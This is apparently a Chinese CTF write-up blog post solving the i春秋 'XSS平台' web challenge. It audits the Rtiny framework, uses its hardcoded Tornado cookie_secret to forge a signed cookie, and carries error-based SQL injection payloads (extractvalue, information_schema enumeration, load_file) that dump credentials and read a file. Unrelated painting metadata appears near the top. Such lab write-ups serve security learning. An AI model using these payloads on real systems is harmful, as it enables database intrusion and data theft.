CTF竞赛-XSS平台

本文为CTF web网络攻防方向,主要记录XSS平台的一道题

Posted by Yewbs on April 16, 2018

Title: Rocky Mountains, “Lander’s Peak”
Creator: Albert Bierstadt
Date: 1863
Creator Lifespan: 1830 - 1902
Creator Nationality: American
Creator Death Place: New York, NY
Creator Birth Place: Solingen (near Dusseldorf), Germany
Physical Dimensions: w90.2 x h110.8 cm
Credit Line: Harvard Art Museums/Fogg Museum, Bequest of Mrs. William Hayes Fogg
Artist: Albert Bierstadt
Type: Paintings
Medium: Oil on linen

CTF竞赛题目类型主要包含 Web 网络攻防Reverse 逆向工程Pwn 二进制漏洞利用Crypto 密码攻击Mobile 移动安全 以及 Misc 安全杂项 这六个类别。

本文为web网络攻防方向。

赛题

初始来源

#“百度杯”CTF比赛# #九月场# #XSS平台#

赛题传送门

i春秋CTF大本营

【赛题类型】—>【CTF训练】

【比赛名称】—>【全部】

【题目类型】—>【Web】

选择价值 50pt,类型为 Web,名称为【XSS平台】的题目:

ctf-20180416160837635

解题过程

进入靶场环境后,是个登陆页面。随便输入常用sql注入代码:

ctf-20180416174947107

发现没有任何提示报错和回显反应。

想了想找个题目叫XSS平台,会不会直接在链接上进行XSS攻击?

1
http://cfa2449c58da4f1d8e690ca3b2095b79ad569258d368438d.changame.ichunqiu.com/login?next=%2F#

于是乎,尝试在next后面加入xss攻击代码,也无果。

然后,看了看网页源码,发现了参数构造的js脚本代码,于是打开了burpsuite开始抓包:

ctf-20180416175007436

ctf-20180416175050467

到这里,第一反应修改post传递的参数cookie中的参数值。然而,一顿操作后,Response并没有变化。

还是打CTF经验不足,这里花了一些时间。

后来才反应过来,修改值不行,可以修改参数名啊,思维还是需要更开放才行。

于是,修改email参数名为emaill,再发送,终于获得错误信息如下:

ctf-20180416175241189

红框框出来的可以发现,这里用到了Python的tornado框架和一个叫rtiny的web框架,果断Google之。

很快在GitHub上发现了这个Rtiny-xss项目,原来这个题目就是用的这个框架搭建起来的。

立马clone代码,开始撸代码。

通过审计代码,发现login.py中可能存在sql执行的函数的点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# login.py
class LoginHandler(tornado.web.RequestHandler):
 def get(self):
  if self.get_secure_cookie("username") and self.get_secure_cookie("password"):
   self.redirect("/")
  else:
   self.render("login.html", url=URL)

 def post(self):
  self.set_header("Content-Type", "text/plain")
  if True not in [f in self.get_argument("email") for f in sql]:
   row = db.ct(
    "manager",
    "*", "username='"+self.get_argument("email")+"' and password='" + md5(self.get_argument('pass'))+"'")
   if row:
    self.set_secure_cookie("username", row['username'])
    self.set_secure_cookie("password", row['password'])
    self.write("true")

   else:
    self.write("false")
  else:
   self.write("false")

但是可惜的是,这里不是最佳注入点。

继续寻找,发现了lock.py函数赤果果的使用了cookie值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# lock.py
class LockHandler(tornado.web.RequestHandler):
 def get(self):
  self.set_secure_cookie("lock",'1')
  self.render("lock.html")

 def post(self):
  username = self.get_secure_cookie("username") or ''
  passwd = md5(self.get_argument('password', ''))
  row = db.ct("manager", "*", "username='" + username + "' and password='" + passwd + "'")
  if row:
   self.set_secure_cookie("lock", "0")
   self.redirect("http://" + URL)
  else:
   self.redirect("http://" + URL + "/lock")

这里直接执行db.ct,其中通过get_secure_cookie("username")获取到的username直接拼接,password是先做了md5后再拼接,并没有进行sql注入的防护。

但是username则是通过self.set_secure_cookie("username", row['username'])则进行了cookie加密。

突然意识到,这时50分的题目??是我太小看CTF的web方向了??

通过查阅set_secure_cookie的代码,并进行rtiny的代码审计,在主目录的index.py中找到了密钥:

"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",

于是,直接利用该函数和密钥值,构造加密的sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
import tornado.ioloop

settings = {
 # "static_path": os.path.join(os.path.dirname(__file__), "themes/static"),
 # "template_path": os.path.join(os.path.dirname(__file__), "themes"),
 "cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
 # "login_url": "/login",
}
        
class LoginHandler(tornado.web.RequestHandler):
    def get(self):
        self.set_secure_cookie("username", value="' and extractvalue(1,concat(0x5c,(select version()))) -- ")
        usr = self.get_secure_cookie("username")
        self.write(usr)

application = tornado.web.Application([
 (r"/login", LoginHandler),], **settings)

if __name__ == "__main__":
 application.listen('8888', '127.0.0.1')
 tornado.ioloop.IOLoop.instance().start()

上面构造了select version()函数来测试sql注入能否成功。

浏览器访问http://127.0.0.1:8888/loginF12打开调试器,在console输入document.cookie,获取加密后的cookie

ctf-20180416212854918

在登陆页面,用Burpsuite截取流量,放到repeater中。

修改/login/lock,并将加密的username放到cookie的中:

ctf-20180416213147605

在response中得到版本信息,说明SQL注入语句成功执行。

呼,总算有些进展了~

尴尬的是,临时创建的靶场都超时了,无奈又创建一个…

下面来正式踏入漫长的SQL注入语句构造之旅:

  • 查表名

    1
    
    ' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- 
    

    ctf-20180416214713985

    选择manager

  • 查属性名

    1
    
    ' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- 
    

    ctf-20180416215026690

    终于看到username和password了

  • 查用户名密码

    1
    
    ' and extractvalue(1,concat(0x5c,(select group_concat(username,'|',password,'|',email) from manager))) -- 
    

    ctf-20180416220736390

    得到username|passwordichuqiu|318a61264482e503090facf

    明显密码显示不全,达不到MD5加密后的32位

  • 继续构造查询密码后几位

    1
    
    ' and extractvalue(1,concat(0x5c,mid(select group_concat(username,'|',password,'|',email) from manager), 20, 54)) -- 
    

    ctf-20180416222026878

    得到2e503090facfc4337207f|545

    与上一步拼接起来即为:username|password|emailichuqiu|318a61264482e503090facfc4337207f|545

把密文丢到在线MD5解密得密码:

ctf-20180416222248848

终于获得:

usernameichuqiu

passwordMyxss623

输入用户名密码,登陆后台,查看file:

ctf-20180416222615677

还是得通过SQL注入load_file来获取flag

1
' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#

ctf-20180416223715718

获取到flag的前半部分,同查询密码的步骤,获取flag的后半部分:

1
' and extractvalue(1,concat(0x5c,mid(select load_file('/var/www/html/f13g_ls_here.txt'), 20, 52)))#

ctf-20180416224034161

拼接得到完整flagflag{8a69155e-c420-4c21-917a-313d5ec65b0a}

至此,得到flag。

总结

这次题目难度适中,主要在于三个关键点。

第一个属于破题点,其在于利用参数key错误获取出错信息,来找到使用框架的漏洞;第二个比较关键的点是考察代码审计的功底;第三个就是SQL注入的熟练度。

如果对任何一个方面不熟悉的话,还是需要花费些许精力的,熟能生巧,加油!